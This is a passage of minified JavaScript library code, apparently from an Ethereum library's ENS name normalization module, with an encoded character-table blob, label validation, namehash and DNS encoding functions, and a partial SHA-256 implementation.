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");const t=()=>aa(e),n=()=>new Set(t()),r=(e,t)=>t.forEach((t=>e.add(t)));Da=new Map(sa(e)),Ua=n(),Ma=t(),za=new Set(t().map((e=>Ma[e]))),Ma=new Set(Ma),_a=n(),Ha=n();let a=ia(e),i=e();const s=()=>{let e=new Set;return t().forEach((t=>r(e,a[t]))),r(e,t()),e};ja=oa((t=>{let n=oa(e).map((e=>e+96));if(n.length){let r=t>=i;return n[0]-=32,n=ha(n),r&&(n=`Restricted[${n}]`),{N:n,P:s(),Q:s(),M:!e(),R:r}}})),Ga=n(),Qa=new Map;let o=t().concat(Ba(Ga)).sort(((e,t)=>e-t));o.forEach(((t,n)=>{let r=e(),a=o[n]=r?o[n-r]:{V:[],M:new Map};a.V.push(t),Ga.has(t)||Qa.set(t,a)}));for(let{V:c,M:f}of new Set(Qa.values())){let e=[];for(let n of c){let t=ja.filter((e=>Fa(e,n))),a=e.find((e=>{let{G:n}=e;return t.some((e=>n.has(e)))}));a||(a={G:new Set,V:[]},e.push(a)),a.V.push(n),r(a.G,t)}let t=e.flatMap((e=>Ba(e.G)));for(let{G:n,V:r}of e){let e=new Set(t.filter((e=>!n.has(e))));for(let t of r)f.set(t,e)}}Va=new Set;let l=new Set;const u=e=>Va.has(e)?l.add(e):Va.add(e);for(let c of ja){for(let e of c.P)u(e);for(let e of c.Q)u(e)}for(let c of Va)Qa.has(c)||l.has(c)||Qa.set(c,1);r(Va,Ta(Va)),Ja=function(e){let t=[],n=aa(e);return function e(n,r,a){let{S:i,B:s}=n;if(!(4&i&&a===r[r.length-1])){2&i&&(a=r[r.length-1]),1&i&&t.push(r);for(let t of s)for(let n of t.Q)e(t,[...r,n],a)}}(function t(r){return{S:e(),B:oa((()=>{let r=aa(e).map((e=>n[e]));if(r.length)return t(r)})),Q:r}}([]),[]),t}(e).map((e=>La.from(e))).sort(pa),qa=new Map;for(let c of Ja){let e=[qa];for(let t of c){let n=e.map((e=>{let n=e.get(t);return n||(n=new Map,e.set(t,n)),n}));65039===t?e.push(...n):e=n}for(let t of e)t.V=c}}function Wa(e){return(Xa(e)?"":`${Ya(Za([e]))} `)+fa(e)}function Ya(e){return`"${e}"\u200e`}function Za(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1/0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:fa,r=[];var a;a=e[0],Ka(),Ma.has(a)&&r.push("\u25cc"),e.length>t&&(t>>=1,e=[...e.slice(0,t),8230,...e.slice(-t)]);let i=0,s=e.length;for(let o=0;o<s;o++){let t=e[o];Xa(t)&&(r.push(ha(e.slice(i,o))),r.push(n(t)),i=o+1)}return r.push(ha(e.slice(i,s))),r.join("")}function Xa(e){return Ka(),_a.has(e)}function $a(e,t,n){if(!e)return[];Ka();let r=0;return e.split(Ia).map((e=>{let a=da(e),i={input:a,offset:r};r+=a.length+1;try{let e,r=i.tokens=ai(a,t,n),s=r.length;if(!s)throw new Error("empty label");let o=i.output=r.flat();if(function(e){for(let t=e.lastIndexOf(95);t>0;)if(95!==e[--t])throw new Error("underscore allowed only at start")}(o),!(i.emoji=s>1||r[0].is_emoji)&&o.every((e=>e<128)))!function(e){if(e.length>=4&&45==e[2]&&45==e[3])throw new Error(`invalid label extension: "${ha(e.slice(0,4))}"`)}(o),e="ASCII";else{let t=r.flatMap((e=>e.is_emoji?[]:e));if(t.length){if(Ma.has(o[0]))throw ri("leading combining mark");for(let e=1;e<s;e++){let t=r[e];if(!t.is_emoji&&Ma.has(t[0]))throw ri(`emoji + combining mark: "${ha(r[e-1])} + ${Za([t[0]])}"`)}!function(e){let t=e[0],n=ea.get(t);if(n)throw ri(`leading ${n}`);let r=e.length,a=-1;for(let i=1;i<r;i++){t=e[i];let r=ea.get(t);if(r){if(a==i)throw ri(`${n} + ${r}`);a=i+1,n=r}}if(a==r)throw ri(`trailing ${n}`)}(o);let n=Ba(new Set(t)),[a]=function(e){let t=ja;for(let n of e){let e=t.filter((e=>Fa(e,n)));if(!e.length)throw ja.some((e=>Fa(e,n)))?ni(t[0],n):ti(n);if(t=e,1==e.length)break}return t}(n);!function(e,t){for(let n of t)if(!Fa(e,n))throw ni(e,n);if(e.M){let e=Ta(t);for(let t=1,n=e.length;t<n;t++)if(za.has(e[t])){let r=t+1;for(let a;r<n&&za.has(a=e[r]);r++)for(let n=t;n<r;n++)if(e[n]==a)throw new Error(`duplicate non-spacing marks: ${Wa(a)}`);if(r-t>4)throw new Error(`excessive non-spacing marks: ${Ya(Za(e.slice(t-1,r)))} (${r-t}/4)`);t=r}}}(a,t),function(e,t){let n,r=[];for(let a of t){let e=Qa.get(a);if(1===e)return;if(e){let t=e.M.get(a);if(n=n?n.filter((e=>t.has(e))):Ba(t),!n.length)return}else r.push(a)}if(n)for(let a of n)if(r.every((e=>Fa(a,e))))throw new Error(`whole-script confusable: ${e.N}/${a.N}`)}(a,n),e=a.N}else e="Emoji"}i.type=e}catch(s){i.error=s}return i}))}function ei(e){return e.map((t=>{let{input:n,error:r,output:a}=t;if(r){let t=r.message;throw new Error(1==e.length?t:`Invalid label ${Ya(Za(n,63))}: ${t}`)}return ha(a)})).join(Ia)}function ti(e){return new Error(`disallowed character: ${Wa(e)}`)}function ni(e,t){let n=Wa(t),r=ja.find((e=>e.P.has(t)));return r&&(n=`${r.N} ${n}`),new Error(`illegal mixture: ${e.N} + ${n}`)}function ri(e){return new Error(`illegal placement: ${e}`)}function ai(e,t,n){let r=[],a=[];for(e=e.slice().reverse();e.length;){let i=si(e);if(i)a.length&&(r.push(t(a)),a=[]),r.push(n(i));else{let t=e.pop();if(Va.has(t))a.push(t);else{let e=Da.get(t);if(e)a.push(...e);else if(!Ua.has(t))throw ti(t)}}}return a.length&&r.push(t(a)),r}function ii(e){return e.filter((e=>65039!=e))}function si(e,t){let n,r=qa,a=e.length;for(;a&&(r=r.get(e[--a]),r);){let{V:i}=r;i&&(n=i,t&&t.push(...e.slice(a).reverse()),e.length=a)}return n}const oi=new Uint8Array(32);function li(e){return p(0!==e.length,"invalid ENS name; empty component","comp",e),e}function ui(e){const t=kt(function(e){try{if(0===e.length)throw new Error("empty label");return function(e){return ei($a(e,Ra,ii))}(e)}catch(t){p(!1,`invalid ENS name (${t.message})`,"name",e)}}(e)),n=[];if(0===e.length)return n;let r=0;for(let a=0;a<t.length;a++){46===t[a]&&(n.push(li(t.slice(r,a))),r=a+1)}return p(r<t.length,"invalid ENS name; empty component","name",e),n.push(li(t.slice(r))),n}function ci(e){p("string"===typeof e,"invalid ENS name; not a string","name",e),p(e.length,"invalid ENS name (empty label)","name",e);let t=oi;const n=ui(e);for(;n.length;)t=Ve(x([t,Ve(n.pop())]));return S(t)}function fi(e,t){const n=null!=t?t:63;return p(n<=255,"DNS encoded label cannot exceed 255","length",n),S(x(ui(e).map((t=>{p(t.length<=n,`label ${JSON.stringify(e)} exceeds ${n} bytes`,"name",e);const r=new Uint8Array(t.length+1);return r.set(t,1),r[0]=r.length-1,r}))))+"00"}oi.fill(0);class di extends Ee{constructor(e,t,n,r){super(),this.blockLen=e,this.outputLen=t,this.padOffset=n,this.isLE=r,this.finished=!1,this.length=0,this.pos=0,this.destroyed=!1,this.buffer=new Uint8Array(e),this.view=ve(this.buffer)}update(e){oe(this);const{view:t,buffer:n,blockLen:r}=this,a=(e=ke(e)).length;for(let i=0;i<a;){const s=Math.min(r-this.pos,a-i);if(s!==r)n.set(e.subarray(i,i+s),this.pos),this.pos+=s,i+=s,this.pos===r&&(this.process(t,0),this.pos=0);else{const t=ve(e);for(;r<=a-i;i+=r)this.process(t,i)}}return this.length+=e.length,this.roundClean(),this}digestInto(e){oe(this),le(e,this),this.finished=!0;const{buffer:t,view:n,blockLen:r,isLE:a}=this;let{pos:i}=this;t[i++]=128,this.buffer.subarray(i).fill(0),this.padOffset>r-i&&(this.process(n,0),i=0);for(let c=i;c<r;c++)t[c]=0;!function(e,t,n,r){if("function"===typeof e.setBigUint64)return e.setBigUint64(t,n,r);const a=BigInt(32),i=BigInt(4294967295),s=Number(n>>a&i),o=Number(n&i),l=r?4:0,u=r?0:4;e.setUint32(t+l,s,r),e.setUint32(t+u,o,r)}(n,r-8,BigInt(8*this.length),a),this.process(n,0);const s=ve(e),o=this.outputLen;if(o%4)throw new Error("_sha2: outputLen should be aligned to 32bit");const l=o/4,u=this.get();if(l>u.length)throw new Error("_sha2: outputLen bigger than state");for(let c=0;c<l;c++)s.setUint32(4*c,u[c],a)}digest(){const{buffer:e,outputLen:t}=this;this.digestInto(e);const n=e.slice(0,t);return this.destroy(),n}_cloneInto(e){e||(e=new this.constructor),e.set(...this.get());const{blockLen:t,buffer:n,length:r,finished:a,destroyed:i,pos:s}=this;return e.length=r,e.pos=s,e.finished=a,e.destroyed=i,r%t&&e.buffer.set(n),e}}const hi=(e,t,n)=>e&t^~e&n,pi=(e,t,n)=>e&t^e&n^t&n,gi=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]),mi=new Uint32Array([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]),yi=new Uint32Array(64);class bi extends di{constructor(){super(64,32,8,!1),this.A=0|mi[0],this.B=0|mi[1],this.C=0|mi[2],this.D=0|mi[3],this.E=0|mi[4],this.F=0|mi[5],this.G=0|mi[6],this.H=0|mi[7]}get(){const{A:e,B:t,C:n,D:r,E:a,F:i,G:s,H:o}=this;return[e,t,n,r,a,i,s,o]}set(e,t,n,r,a,i,s,o){this.A=0|e,this.B=0|t,this.C=0|n,this.D=0|r,this.E=0|a,this.F=0|i,this.G=0|s,this.H=0|o}process(e,t){for(let 